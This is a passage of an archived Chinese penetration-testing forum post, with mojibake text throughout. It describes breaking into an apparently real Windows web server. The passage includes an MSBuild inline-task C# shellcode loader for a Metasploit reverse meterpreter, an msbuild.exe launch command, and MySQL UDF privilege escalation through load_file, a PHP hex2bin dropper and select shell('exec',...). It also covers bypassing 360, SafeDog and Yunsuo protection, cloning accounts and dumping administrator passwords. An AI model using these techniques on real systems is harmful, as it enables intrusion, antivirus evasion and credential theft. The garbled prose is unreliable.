<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
          

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            private static extern IntPtr CreateThread(            

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            UInt32 lpThreadAttributes,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            UInt32 dwStackSize,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            UInt32 lpStartAddress,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            IntPtr param,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            UInt32 dwCreationFlags,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            ref UInt32 lpThreadId           

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            );

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
          

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            private static extern UInt32 WaitForSingleObject(           

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            IntPtr hHandle,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            UInt32 dwMilliseconds

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            );          

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
          public override bool Execute()

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
          {

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            byte[] shellcode = new byte[179779] {

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            ÕâÀïÊÇmsfÉú³ÉµÄc# shellcode,´úÂëÌ«³¤Ê¡ÂÔ  

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            };

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
              IntPtr hThread = IntPtr.Zero;

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
              UInt32 threadId = 0;

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
              IntPtr pinfo = IntPtr.Zero;

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
              WaitForSingleObject(hThread, 0xFFFFFFFF);

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
              return true;

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
          } 

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        }     

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
      ]]>

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
      </Code>

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
    </Task>

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
  </UsingTask>

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
</Project>


ÐèÒª×¢ÒâµÄÊÇ±ØÐë¸Ä³ÉshellcodeÈçÍ¼£º 
<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516172238-26298a34-77bc-1.png"><img width="789" height="380" src="https://www.2k8.org/content/uploadfile/202203/17/fcec78e0.png" alt="" style="vertical-align:middle;" /></a> 
È»ºóÉÏ´«µ½webÄ¿Â¼£¬nc·´µ¯¼ÌÐøÖ´ÐÐÈçÏÂÃüÁî£º

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
msbuild.exe D:\1\1111.com\uploadfile\19200\443.csproj


ÕâÊ±ºò¼àÌýºÃµÄmsf¾Í»á·µ»ØÒ»¸ömeterpreterÈçÍ¼£º 
<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516172847-01e22c8e-77bd-1.png"><img width="886" height="116" src="https://www.2k8.org/content/uploadfile/202203/17/cda6fcb8.png" alt="" style="vertical-align:middle;" /></a> 
ÊÔ×ÅÔÚshellºÍmeterpreterÏÂÖ´ÐÐexp¶¼ÌáÊ¾¾Ü¾ø·ÃÎÊ£¬ÈçÍ¼£º 
<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516173207-7908a3f6-77bd-1.png"><img width="827" height="119" src="https://www.2k8.org/content/uploadfile/202203/17/7adef36f.png" alt="" style="vertical-align:middle;" /></a> 
µ«ÊÇ²âÊÔuploadÉÏ´«ÃüÁîÈ·ÊµÊÇ³É¹¦µ÷³öw3wp.exe ½ø³Ì£¬¾¹ýÒ»·¬Å¬Á¦ÎÞ¹û£¬Ö»ºÃ»»Ë¼Â·½â¾ö¡£


0x03 MySQL udfÌáÈ¨


Í¨¹ýÉÏÃæµÄÒ»Ð©²âÊÔ£¬ÒÑ¾ÎÞÍûÁË£¬ÕâÊ±ºò¾ÍÏë×ÅÓÃÆäËû°ì·¨£¬¾¹ý²âÊÔ·¢ÏÖÍøÕ¾Ö§³Öasp£¬¾ÍÉÏ´«ÁËÒ»¸öaspshell£¬¸÷ÖÖ·Ä¿Â¼¸÷ÖÖ²âÊÔ£¬ÖÕÓÚÔÚÍøÕ¾µÄ¶þ¼¶Ä¿Â¼Êý¾Ý¿âÅäÖÃÎÄ¼þ·¢ÏÖÁËmysql rootÃÜÂë£¬OK£¬ÉÏ´«udfÌáÈ¨phpÂí£¬ÔÚ¾ßÌå²âÊÔ¹ý³ÌÖÐ·¢ÏÖ£¬ÊÐÃæÉÏµÄudf Php¹¤¾ß¶¼±»Ä³°²È«³ÌÐò±»É±ÁË£¬ÎÒ·¢ÏÖ°Ñ±»É±µÄphpºó×ºÐÞ¸ÄÎªcsprojÉÏ´«²»É±ÁË£¬Òª²»È»ÎÞÂÛ°Ñ±»É±µÄphp»»³ÉÊ²Ã´ºó×ºÃû¶¼²»ÐÐ£¬È»ºóÔÙÍ¨¹ýPHP°üº¬Õâ¸öÎÄ¼þ£¬¾Í¿ÉÒÔÍ»ÆÆÁË£¨Ò²²»ÖªµÀËã²»ËãÊÇ¸öÄ³·À»¤³ÌÐòµÄÒ»¸öbug£¬×ÜÖ®ÓÃÕâÖÖ°ì·¨ÈÃudf¹¤¾ßÅÜÆðÀ´ÁË£©£¬ÈçÍ¼£º


<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516174247-f6b8ece2-77be-1.png"><img width="956" height="405" src="https://www.2k8.org/content/uploadfile/202203/17/6090ae9c.png" alt="" style="vertical-align:middle;" /></a> 
È»ºó°´³£¹æµ¼Èëdll,ÌáÊ¾dllµ¼Èë³É¹¦£¬´´½¨sys_eval º¯ÊýÖ´ÐÐÃüÁî£¬È´ÓÖÌáÊ¾º¯Êý²»´æÔÚÈç£ºFUNCTION mysql.sys_eval does not exist£¬ÔÚ²âÊÔ¹ý³ÌÃ»ÉÙÕÛÌÚ£¬ÓÃportfwdÃüÁî×ª·¢Ä¿±ê3306µ½±¾µØ£¬ÀûÓÃsqlmap -d ÉÏ´«dllÌáÊ¾²»³É¹¦£¬ºóÀ´ÓÃ--file-writeÃüÁîÉÏ´«dllµ½system32ÏÂÒ²Ê§°ÜÁË£¬µ«ÊÇ·¢ÏÖÉÏ´«·Ç¶þ½øÖÆµÄÎÄ¼þµÄ»°ÊÇ³É¹¦µÄ£¬ºóÀ´Í¨¹ý²é¿´È¨ÏÞÖ¤Ã÷²»ÊÇÈ¨ÏÞÎÊÌâÈçÍ¼£º 
select * from mysql.user where user = substring_index(user(), '@', 1) ;


<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516175414-90109d6c-77c0-1.png"><img width="686" height="160" src="https://www.2k8.org/content/uploadfile/202203/17/c7c04a2b.png" alt="" style="vertical-align:middle;" /></a> 
È¨ÏÞ¶¼ºÜOK£¬ºÜ±¯´ßdll±»½ûÖ¹ÉÏ´«£¬¿É¶ñµÄ°²È«·À»¤Ñ½£¬Í¨¹ý²éÑ¯·¢ÏÖ¼¸¸ö×Ô¶¨Òåº¯Êý£¬ÈçÍ¼£º


<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516180752-7793e60c-77c2-1.png"><img width="410" height="153" src="https://www.2k8.org/content/uploadfile/202203/17/1b84a3d6.png" alt="" style="vertical-align:middle;" /></a> 
·¢ÏÖudf.dllÒÑ¾±»Õ¼¿ÓÁË£¬ÎÒÃÇ²éÑ¯Ò»ÏÂ¿´¿´ 
select hex(load_file('c:/windows/system32/udf.dll'));ÈçÍ¼£º


<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516181246-2698ce38-77c3-1.png"><img width="881" height="257" src="https://www.2k8.org/content/uploadfile/202203/17/eb654238.png" alt="" style="vertical-align:middle;" /></a> 
ÎÒÃÇÀûÓÃphp»·¾³°ÑËü×ª³Édll£¬´úÂëÈçÏÂ£º

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
<?php

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
echo file_put_contents('udf.dll',hex2bin("ÕâÀïÎªsql²éÑ¯³öÀ´µÄÖµ"));

<p align="left" style="background:#F7F7F7;font-family:µÈÏß;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
?>


³É¹¦°ÑËü»¹Ô³ÉdllÎÄ¼þ£¬ÓÃc32am´ò¿ª¿´Ò»ÏÂËûµÄÓÃ·¨ÈçÍ¼£º


<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516181735-d2d03bf0-77c3-1.png"><img width="900" height="359" src="https://www.2k8.org/content/uploadfile/202203/17/306587d2.png" alt="" style="vertical-align:middle;" /></a> 
¿´¿´Õâ¸öshellº¯ÊýµÄÓÃ·¨£¬


<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516181907-09e1014c-77c4-1.png"><img width="767" height="346" src="https://www.2k8.org/content/uploadfile/202203/17/ddc4f2df.png" alt="" style="vertical-align:middle;" /></a> 
ÕýºÃºÍdllÀïÃæµÄÐÅÏ¢Ò»ÖÂ£¬µ«ÊÇÔÚ²âÊÔµÄ¹ý³ÌÖÐ·¢ÏÖcmdÄÇ¸ö²ÎÊýÓÃ·¨Ã»·¨Ö´ÐÐÃüÁî»á¿¨ËÀ£¬ºóÀ´ÊÔÁËexec£¬select shell('exec','whoami');£¬ÈçÍ¼£º


<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516182120-58f9b706-77c4-1.png"><img width="686" height="297" src="https://www.2k8.org/content/uploadfile/202203/17/1d78d98c.png" alt="" style="vertical-align:middle;" /></a> 
ËµÃ÷Õâ¸öexec¿ÉÒÔÈÆ¹ý°²È«·À»¤Ö´ÐÐÃüÁî£¬½ÓÏÂÀ´µÄ²âÊÔÖÐ´òËãÊ¹ÓÃmsfÀ´²Ù×÷£¬ÓÚÊÇ¸øÄ¿Â¼ÉÏ´«ÁË¸öÃâÉ±µÄmsf¹¤¾ß£¬¹ýÈ«ÊÀ½çËùÓÐµÄÉ±¶¾ÓÃ·¨ msf vpsip 443£¬µ«ÊÇ¼àÌýºÃµÄmsfÒ»Ö±Ã»·µ»ØÀ´meterpreter£¬ºóÀ´Ã»°ì·¨ÓÖÓÃ°×Ãûµ¥Ö´ÐÐÃüÁî³É¹¦ÉÏÏß£¨Ææ¹ÖµÄ»¹ÔÚºóÃæ£©ÃüÁîÈçÏÂ£ºselect shell('exec','C:/Windows/Microsoft.NET/Framework/v4.0.30319/msbuild.exe D://1//xxoo.com//uploadfile//19200//443.csproj');×¢ÒâÐ±¸ÜÎÊÌâ·ñÔòÖ´ÐÐ³ö´í


<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516183519-4d0801a8-77c6-1.png"><img width="939" height="199" src="https://www.2k8.org/content/uploadfile/202203/17/52899801.png" alt="" style="vertical-align:middle;" /></a> 
µ«ÊÇÆæ¹ÖµÄÊÇÒÑ¾³ÉÁËsystemÈ¨ÏÞÈ´Ã»°ì·¨shell£¬ÕâÒ²ÕýÊÇÕâ¸öÄ¿±êÆæÝâµÄµØ·½£¬Ö´ÐÐshell¿¨ËÀ£¬ºóÀ´psÁËÒ»ÏÂ½ø³Ì·¢ÏÖadministratorµÄ½ø³Ìmigrate pid£¬È»ºóÔÙÖ´ÐÐshell³É¹¦Ö´ÐÐ£¬²¢ÇÒÒ²¿ÉÒÔÖ´ÐÐnet user µÈÃüÁîÈçÍ¼£º


<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190517123527-31e8b2c2-785d-1.png"><img width="994" height="400" src="https://www.2k8.org/content/uploadfile/202203/17/5fa103ad.png" alt="" style="vertical-align:middle;" /></a>


ºÜOK£¬Ö±½Ónet userÌí¼ÓÕËºÅ¿Ï¶¨²»ÐÐ£¬ÀûÓÃuserclone¿ËÂ¡Ìí¼ÓÕËºÅÃÜÂë£¬ÕËºÅÌí¼Ó³É¹¦£¬µ«ÊÇ¼ÓÈëµ½¹ÜÀíÔ±×éÊ§°Ü£¬ÊÖÀïÓÐÉ±Ä³·À»¤³ÌÐòµÄÉñÆ÷£¬µ«ÊÇËÆºõÓÃ²»ÉÏ£¬É±ÍêÐèÒªÖØÆô¶¯¾²Ì«´ó£¬OK£¬ÕâÊ±ºò·¢ÏÖadministratorÔÚÏßÖ±½ÓÉÏ´«getpassword64ÃâÉ±°æ×¥Ã÷ÎÄÃÜÂë£¬µÃµ½administratorµÄÃ÷ÎÄÃÜÂë£¬ÊÔ×ÅÓÃmsfÄ£¿é×¥Ò»ÏÂÃÜÂë£¬ÈçÏÂ£º 
<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190516184312-6711879e-77c7-1.png"><img width="776" height="664" src="https://www.2k8.org/content/uploadfile/202203/17/ac7f507a.png" alt="" style="vertical-align:middle;" /></a> 
Ã»ÓÐ³É¹¦£¬ÒòÎªÖ®Ç°Ò²²Èµã·¢ÏÖ3389Ã»ÓÐ±»Ä³·À»¤³ÌÐò¼ÓÈëÖ÷»úÃû»òÕßipÈÏÖ¤£¬¿ÉÒÔÕý³£µÇÂ¼£¬ËùÒÔÒ²²»Éæ¼°ÈÆ¹ýÈÏÖ¤µÇÂ¼µÄÎÊÌâ¡£µÇÂ¼ÈçÍ¼£º


<a href="https://xzfile.aliyuncs.com/media/upload/picture/20190517123806-90551ec2-785d-1.png"><img width="624" height="406" src="https://www.2k8.org/content/uploadfile/202203/17/b94a5e6e.png" alt="" style="vertical-align:middle;" /></a>


ÉøÍ¸µ½´Ë¾Í½áÊøÁË¡£


0x04ÁíÒ»¸ö°¸ÀýÈÆ×ö×é²ßÂÔÏÞÖÆÖ´ÐÐÃüÁî


Ö÷Òª»¹ÊÇ°×Ãûµ¥ÈÆ¹ýÖ´ÐÐ³ÌÐò¼°ÅäºÏudfÌáÈ¨£¬Åöµ½Ç°ÈËÁôÏÂµÄudfºóÃÅÖ±½ÓÌáµ½system£¬Ê£ÏÂ¾ÍÊÇÒ»¶ÙÂÒÕÛÌÚ£¬²»¹ýÒ²²»°×ÕÛÌÚ£¬Ãþ×ÅÊ¯Í·¹ýºÓÃ»Ê²Ã´²»ºÃ£»µÚÒ»´ÎÔÚÏÈÖª¸Ä°æºóÐ´ÎÄÕÂ£¬ÎÄÕÂÅÅ°æÖ®ÀàµÄ»¹ÊÇ²»Ì«ÊìÏ¤£¬¿ÉÄÜÐ´µÄ²»¾¡ÈËÒâ£¬»¹ÊÇÇë¶à°üº¡£¡£¡£¡£¡£ÕâÀïÒª¸ÐÐ»ÏÈÖªVÊ¦¸µ£¬ÄªÐëÓÐµÈºÃÐÖµÜµÄ´óÁ¦Ö§³Ö£¬Ò»ÍíÉÏÅãÎÒ°¾Ò¹¡£¡£¡£


<img width="554" height="227" src="https://www.2k8.org/content/uploadfile/202203/17/c1f996ac.jpg" alt="" style="vertical-align:middle;" />


<img width="491" height="211" src="https://www.2k8.org/content/uploadfile/202203/17/7fed4fa9.jpg" alt="" style="vertical-align:middle;" />


ÃüÁîÅÜÆðÀ´ÁË£¬×îÆðÂëÓöµ½²»ÄÜÖ´ÐÐÃüÁîµÄÊ±ºòÓÃ°×Ãûµ¥Ö´ÐÐ¿ÉÒÔ¼ÌÐø¿ªÕ¹ÏÂÒ»²½¹¤×÷£¬»òÕßÀûÓÃmsfµÄload powershellÒ²ÐÐ¼ÌÐø¸ã£¬¹þ¹þ

<h1 style="margin-top:12.0pt;margin-right:0cm;margin-bottom:12.0pt;margin-left:0cm;background:white;">
0x05 ×Ü½á
</h1>

 


ºÚ¿ÍÊÇÒ»ÖÖ¾«Éñ£¬ËäÈ»ÎÒ²»ÊÇºÚ¿Í£¬µ«ÊÇÎÒ³ç°ÝÕâÖÖ¾«Éñ£¬Ê²Ã´¾«Éñ£¿¾ÍÊÇÓÀ²»ÑÔ°Ü£¬ÓÂÓÚÍ»ÆÆ£¬¸ÒÓÚÌôÕ½£¬³çÉÐ×ÔÓÉµÄÕâÖÖ¾«Éñ»òÕßÉñ¾£¬ÖµµÃ¸÷ÐÐ¸÷ÒµµÄÈËÑ§Ï°¡££¨×Ô´ÓÑ§ÁËºÚ¿Í£¬ÈËÒ²±äµÃÌ¤ÊµÁË£¬Ò²²»ÐéÉÏÌøÏÂ£¬Ò²²»ÈÃ¼ÒÀïÈË¾õµÃÕâ¸öÈË²»³ÉÊì¡¢²»¿¿Æ×£¬×ÜÖ®Ñ§ºÚ¿Í£¬µÃÓÀÉú£¬ºÚ¿Í´ó·¨ºÃ£¡£¡£¡¼ÓÓÍÐÖµÜÃÇ£¡£©

Ò³: [1]

ÖÐ¹úÍøÂçÉøÍ¸²âÊÔÁªÃË's Archiver

°×Ãûµ¥msbuildÈÆ¹ý360Ì××°°²È«¹·ÔÆËøÌáÈ¨